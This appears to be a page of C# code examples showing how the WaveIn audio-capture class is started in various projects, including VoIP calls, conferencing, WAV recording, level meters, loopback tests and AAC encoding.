public void startRecordServer(int codec, string m_pLoacalIP, int m_pLocalPort, string m_pRemoteIP, int m_pRemotePort, int m_pInDevicesselected) { try { if (m_pUdpServer != null) { m_pUdpServer.Dispose(); m_pUdpServer = null; } if (m_pWaveIn != null) { m_pWaveIn.Dispose(); m_pWaveIn = null; } m_Codec = codec; m_pUdpServer = new UdpServer(); m_pUdpServer.Bindings = new IPEndPoint[] { new IPEndPoint(IPAddress.Parse(m_pLoacalIP), m_pLocalPort) }; m_pUdpServer.Start(); m_pTargetEP = new IPEndPoint(IPAddress.Parse(m_pRemoteIP), m_pRemotePort); m_pWaveIn = new WaveIn(WaveIn.Devices[m_pInDevicesselected], 11025, 16, 1, 400); m_pWaveIn.BufferFull += new BufferFullHandler(m_pWaveIn_BufferFull); m_pWaveIn.Start(); } catch (Exception ex) { } }
public WaveInMeter(int samples) { _args = new WaveLevelEventArgs(); var format = new WaveFormatPcm(44100, 16, 1); _waveIn = new WaveIn(new MeterStream(this), format, format.FrameSize * samples); _waveIn.Start(); }
private void button8_Click(object sender, EventArgs e) { IPEndPoint x; try { x = new IPEndPoint(IPAddress.Parse(textBox4.Text), 1200); } catch { MessageBox.Show(this, "Invalid target IP address recieved", "Error:", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } if (checkedListBox1.Items.Contains(x.Address.ToString()) == false) { checkedListBox1.Items.Add(x.Address.ToString()); gpcst.Add(x); } if (gpcst.Count == 1) { button10.Enabled = true; VWaveIn = new WaveIn(WaveIn.Devices[comboBox1.SelectedIndex], 8000, 16, 1, 400); VWaveIn.BufferFull += new BufferFullHandler(gpcst_BufferFull); VWaveIn.Start(); } }
public void CanCreateWaveInDevice() { using (WaveIn waveIn = new WaveIn()) { waveIn.Initialize(); waveIn.Start(); } }
/// <summary> /// Default constructor. /// </summary> public Test() { // G711 needs 8KHZ 16 bit 1 channel audio, // 400kb buffer gives us 25ms audio frame. m_pSoundReceiver = new WaveIn(WaveIn.Devices[0], 8000, 16, 1, 400); m_pSoundReceiver.BufferFull += new BufferFullHandler (m_pSoundReceiver_BufferFull); m_pSoundReceiver.Start(); }
public void CanCreateWaveInDevice() { #pragma warning disable 612 using (WaveIn waveIn = new WaveIn()) #pragma warning restore 612 { waveIn.Initialize(); waveIn.Start(); } }
public static void WaveInToWaveOutSample() { using (var waveOut = new WaveOut(WaveOut.WaveMapper, 44100, 16, 2)) using (var waveIn = new WaveIn(WaveIn.WaveMapper, 44100, 16, 2)) { waveIn.OnData += waveOut.Write; waveIn.Start(16, 44100); Application.Run(new Form()); } }
protected override void PauseOverride(bool value) { if (!value) { recorder.Start(); } else { recorder.Stop(); } }
private void buttonCall_Click(object sender, EventArgs e) { if (buttonCall.Text.Equals("Llamar")) { buttonCall.Text = "Colgar"; string targetIp = "0.0.0.0"; if (globals.udpClients.ContainsKey(labelClientReceiver.Text)) { targetIp = globals.udpClients[labelClientReceiver.Text]; try { m_pWaveOut = new WaveOut(WaveOut.Devices[0], 8000, 16, 1); wc.audioUdpServer.PacketReceived += new PacketReceivedHandler(m_pUdpServer_PacketReceived); wc.audioUdpServer.Start(); audioTargetEP = new IPEndPoint(IPAddress.Parse(targetIp), 11000); m_pWaveIn = new WaveIn(WaveIn.Devices[0], 8000, 16, 1, 400); m_pWaveIn.BufferFull += new BufferFullHandler(m_pWaveIn_BufferFull); m_pWaveIn.Start(); } catch { MessageBox.Show("Usuario no disponible.", "Información", MessageBoxButtons.OK, MessageBoxIcon.Information); buttonCall.Text = "Llamar"; } } else { MessageBox.Show("Usuario no disponible.", "Información", MessageBoxButtons.OK, MessageBoxIcon.Information); buttonCall.Text = "Llamar"; } } else { buttonCall.Text = "Llamar"; wc.audioUdpServer.Dispose(); m_pWaveOut.Dispose(); m_pWaveOut = null; m_pWaveIn.Dispose(); m_pWaveIn = null; } }
public void Start() { if (_isworking) { return; } _isworking = true; if (_waveIn != null) { _waveIn.Start(); } }
private void startLocalButton_Click(object sender, EventArgs e) { //IPAddress myIP = IPAddress.Parse("0.0.0.0"); //IPAddress[] localIP = Dns.GetHostAddresses("Alberto-PC"); //foreach (IPAddress address in localIP) //{ // if (address.AddressFamily == AddressFamily.InterNetwork) // { // myIP = address; // } //} if (m_IsSendingMic) { m_IsSendingMic = false; m_pWaveIn.Dispose(); m_pWaveIn = null; OnAudioStopped(); } else { if (m_pInDevices.SelectedIndex == -1) { MessageBox.Show(this, "Please select input device !", "Error:", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } try { m_pTargetEP = new IPEndPoint(IPAddress.Parse(m_pRemoteIP.Text), 11000); } catch { MessageBox.Show(this, "Invalid target IP address or port !", "Error:", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } m_IsSendingMic = true; m_pWaveIn = new WaveIn(WaveIn.Devices[m_pInDevices.SelectedIndex], 8000, 16, 1, 400); m_pWaveIn.BufferFull += new BufferFullHandler(m_pWaveIn_BufferFull); m_pWaveIn.Start(); startLocalButton.Text = "Stop"; m_pSendTestSound.Enabled = false; } }
public void JoinConference(int MicIndex) { if (!InConference) { audioWaveOut = new WaveOut(WaveOut.Devices[0], 8000, 16, 1); audioServer = new UdpServer(); audioServer.Bindings = new IPEndPoint[] { new IPEndPoint(IPAddress.Parse(Main.User.MyIPAddress), audioPort) }; audioServer.PacketReceived += new PacketReceivedHandler(AudioServer_PacketReceived); audioServer.Start(); audioWaveIn = new WaveIn(WaveIn.Devices[MicIndex], 8000, 16, 1, 400); audioWaveIn.BufferFull += new BufferFullHandler(audioWaveIn_BufferFull); audioWaveIn.Start(); InConference = true; } }
public void startsend(string s) { try { VTargetEP = new IPEndPoint(IPAddress.Parse(s), 1200); } catch { MessageBox.Show(this, "Invalid target IP address recieved", "Error:", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } VWaveIn = new WaveIn(WaveIn.Devices[comboBox1.SelectedIndex], 8000, 16, 1, 400); VWaveIn.BufferFull += new BufferFullHandler(VWaveIn_BufferFull); VWaveIn.Start(); }
public void Handle(SocketSession session, ePacketType reqType, object reqObj) { _session = session; if (reqType == ePacketType.PACKET_STOP_CAPTURE_AUDIO_REQUEST) { //StopTest(); //return; if (_waveIn != null) { _waveIn.Dispose(); _waveIn = null; } } else if (reqType == ePacketType.PACKET_START_CAPTURE_AUDIO_REQUEST) { RequestStartCaptureAudio req = reqObj as RequestStartCaptureAudio; ResponseStartCaptureAudio resp = new ResponseStartCaptureAudio(); try { if (_waveIn != null) { return; } //StartTest(); //return; if (WaveIn.Devices.Length > 0) { _waveIn = new WaveIn(WaveIn.Devices[0], 8000, 16, 1, 400); _waveIn.BufferFull += new BufferFullHandler(m_pWaveIn_BufferFull); _waveIn.Start(); } else { throw new Exception("未找到可用的音频设备"); } } catch (Exception ex) { resp.Result = false; resp.Message = ex.ToString(); resp.Detail = ex.StackTrace.ToString(); session.Send(ePacketType.PACKET_START_CAPTURE_AUDIO_RESPONSE, resp); } } }
private void button1_Click(object sender, EventArgs e) { if (button1.Text == "Test") { m_IsSendingTest = true; button1.Text = "stop"; button2.Enabled = false; start_work(); if (comboBox1.SelectedIndex == -1) { MessageBox.Show(this, "Please select input device !", "Error:", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } if (comboBox2.SelectedIndex == -1) { MessageBox.Show(this, "Please select output device !", "Error:", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } m_Codec = comboBox3.SelectedIndex; VWaveIn = new WaveIn(WaveIn.Devices[comboBox1.SelectedIndex], 8000, 16, 1, 400); VWaveOut = new WaveOut(WaveOut.Devices[comboBox1.SelectedIndex], 8000, 16, 1); VWaveIn.BufferFull += new BufferFullHandler(audio_BufferFull); VWaveIn.Start(); } else { m_IsSendingTest = false; button1.Text = "Test"; end_work(); try { VWaveIn.Dispose(); } catch { } VWaveIn = null; try { VWaveOut.Dispose(); } catch { } VWaveOut = null; } }
private void startSoundCaptureToolStripMenuItem_Click(object sender, EventArgs e) { if (fWaveIn != null) { fWaveIn.Dispose(); fWaveIn = null; startSoundCaptureToolStripMenuItem.Checked = false; return; } var inDevices = WaveIn.Devices; if (inDevices.Length == 0) { MessageBox.Show("There are no audio-input devices installed."); return; } WavInDevice inDevice = inDevices[0]; WaveIn waveIn = null; try { waveIn = new WaveIn(inDevice, 8000, 16, 1, 400); startSoundCaptureToolStripMenuItem.Checked = true; waveIn.BufferFull += waveIn_BufferFull; waveIn.Start(); } catch (Exception exception) { if (waveIn != null) { waveIn.Dispose(); } MessageBox.Show(exception.Message, exception.GetType().FullName); return; } fWaveIn = waveIn; }
//private void m_pRecord_CheckedChanged(object sender, EventArgs e) //{ // if (m_pRecord.Checked) // { // m_pRecordFile.Enabled = true; // m_pRecordFileBrowse.Enabled = true; // } // else // { // m_pRecordFile.Enabled = false; // m_pRecordFileBrowse.Enabled = false; // } //} #endregion #region method m_pRecordFileBrowse_Click //private void m_pRecordFileBrowse_Click(object sender, EventArgs e) //{ // SaveFileDialog dlg = new SaveFileDialog(); // dlg.FileName = "record.raw"; // if (dlg.ShowDialog(this) == DialogResult.OK) // { // m_pRecordFile.Text = dlg.FileName; // } //} #endregion #region method m_pToggleMic_Click private void m_pToggleMic_Click(object sender, EventArgs e) { SaveSetting(m_pRemoteIP); SaveSetting(m_pRemotePort); if (m_IsSendingMic) { m_IsSendingMic = false; m_pWaveIn.Dispose(); m_pWaveIn = null; OnAudioStopped(); } else { if (m_pInDevices.SelectedIndex == -1) { MessageBox.Show(this, "Please select input device !", "Error:", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } try { m_pTargetEP = new IPEndPoint(IPAddress.Parse(m_pRemoteIP.Text), (int)m_pRemotePort.Value); } catch { MessageBox.Show(this, "Invalid target IP address or port !", "Error:", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } m_IsSendingMic = true; m_pWaveIn = new WaveIn(WaveIn.Devices[m_pInDevices.SelectedIndex], 8000, 16, 1, 400); m_pWaveIn.BufferFull += new BufferFullHandler(m_pWaveIn_BufferFull); m_pWaveIn.Start(); m_pToggleMic.Text = "Stop"; //m_pSendTestSound.Enabled = false; } }
private void mic_Click(object sender, RoutedEventArgs e) { if ((string)(mic.Tag) == "0") { //Set mic to record mice.Kind = PackIconKind.RecordVoiceOver; oi.Start(); mic.Tag = "1"; } else { //Set to stop recording mice.Kind = PackIconKind.Record; oi.Stop(); mic.Tag = "0"; } }
/// <summary> /// Default constructor. /// </summary> /// <param name="device">Audio input device.</param> /// <param name="samplesPerSec">Sample rate, in samples per second (hertz).</param> /// <param name="bitsPerSample">Bits per sample. For PCM 8 or 16 are the only valid values.</param> /// <param name="channels">Number of channels.</param> /// <exception cref="ArgumentNullException">Is raised when <b>device</b> is null reference.</exception> /// <exception cref="ArgumentException">Is raised when any of the arguments has invalid value.</exception> public AudioIn(AudioInDevice device,int samplesPerSec,int bitsPerSample,int channels) { if(device == null){ throw new ArgumentNullException("device"); } if(samplesPerSec < 1){ throw new ArgumentException("Argument 'samplesPerSec' value must be >= 1.","samplesPerSec"); } if(bitsPerSample < 8){ throw new ArgumentException("Argument 'bitsPerSample' value must be >= 8.","bitsPerSample"); } if(channels < 1){ throw new ArgumentException("Argument 'channels' value must be >= 1.","channels"); } m_pDevice = device; m_SamplesPerSec = samplesPerSec; m_BitsPerSample = bitsPerSample; m_Channels = channels; m_pWaveIn = new WaveIn(device,samplesPerSec,bitsPerSample,channels,320); m_pWaveIn.Start(); }
private void btnStart_Click(object sender, EventArgs e) { if (deviceslist.SelectedItems.Count <= 0) { return; } SaveFileDialog sfd = new SaveFileDialog(); sfd.Filter = "WAV (*.wav)|*.wav"; sfd.Title = "Speichern"; sfd.FileName = String.Empty; if (sfd.ShowDialog() == System.Windows.Forms.DialogResult.OK) { _waveIn = new WaveInEvent(new WaveFormat(44100, 16, _selectedDevice.Channels)); _waveIn.Device = deviceslist.SelectedItems[0].Index; _waveIn.Initialize(); _waveIn.Start(); var waveInToSource = new SoundInSource(_waveIn); _source = waveInToSource; var notifyStream = new SingleBlockNotificationStream(_source); notifyStream.SingleBlockRead += OnNotifyStream_SingleBlockRead; _source = notifyStream.ToWaveSource(16); _writerBuffer = new byte[_source.WaveFormat.BytesPerSecond]; _writer = new WaveWriter(File.OpenWrite(sfd.FileName), _source.WaveFormat); waveInToSource.DataAvailable += OnNewData; btnStart.Enabled = false; btnStop.Enabled = true; } }
public void Start() { _waveIn.BufferFull += WaveInBufferFull; _waveIn.Start(); IsRunning = true; }
/// <summary> /// Starts the loopback session. /// </summary> public void Start() { _waveIn.Start(); _waveOut.Start(); }
public bool StartCapture(Action <byte[]> data) { var inputBufferSize = aac_enc.GetInputBufferSize(); var outputBufferMaxSize = aac_enc.GetMaxOutputBufferSize(); if (inputBufferSize <= 0 || outputBufferMaxSize <= 0) { return(false); } var inputBuffer = new byte[inputBufferSize]; var outputBuffer = new byte[outputBufferMaxSize]; var outputPtr = InteropHelper.AllocByteArray(outputBuffer); var soundInSource = new SoundInSource(_waveIn); var peakMeter = new PeakMeter(soundInSource.ToSampleSource()); _finalSource = peakMeter.ToWaveSource(BitPerSample); soundInSource.DataAvailable += (s, e) => { try { int read; while ((read = _finalSource.Read(inputBuffer, 0, inputBufferSize)) > 0) { var inputPtr = InteropHelper.AllocByteArray(inputBuffer); var size = aac_enc.EncodeBuffer(inputPtr, read, outputPtr, outputBufferMaxSize); InteropHelper.FreeObjectArray(inputPtr, typeof(byte), inputBufferSize); if (size > 0) { byte[] result; if (InteropHelper.ParsePtrToByteArray(outputPtr, size, out result)) { data.Invoke(result); } } } } catch (Exception ex) { } }; peakMeter.PeakCalculated += PeakMeterOnPeakCalculated; try { _waveIn.Start(); } catch (MmException ex) { peakMeter.PeakCalculated -= PeakMeterOnPeakCalculated; return(false); } _canStop = true; return(true); }